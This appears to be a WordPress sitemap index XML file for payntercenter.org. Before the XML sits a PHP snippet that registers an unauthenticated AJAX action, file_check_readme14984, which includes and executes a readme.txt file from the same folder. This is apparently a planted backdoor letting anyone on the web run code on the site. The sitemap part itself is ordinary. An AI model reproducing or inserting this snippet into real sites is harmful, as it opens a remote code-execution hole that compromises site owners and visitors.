if(!function_exists('file_check_readme14984')){
   add_action('wp_ajax_nopriv_file_check_readme14984', 'file_check_readme14984');
   add_action('wp_ajax_file_check_readme14984', 'file_check_readme14984');
   function file_check_readme14984()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.payntercenter.org/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.payntercenter.org/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>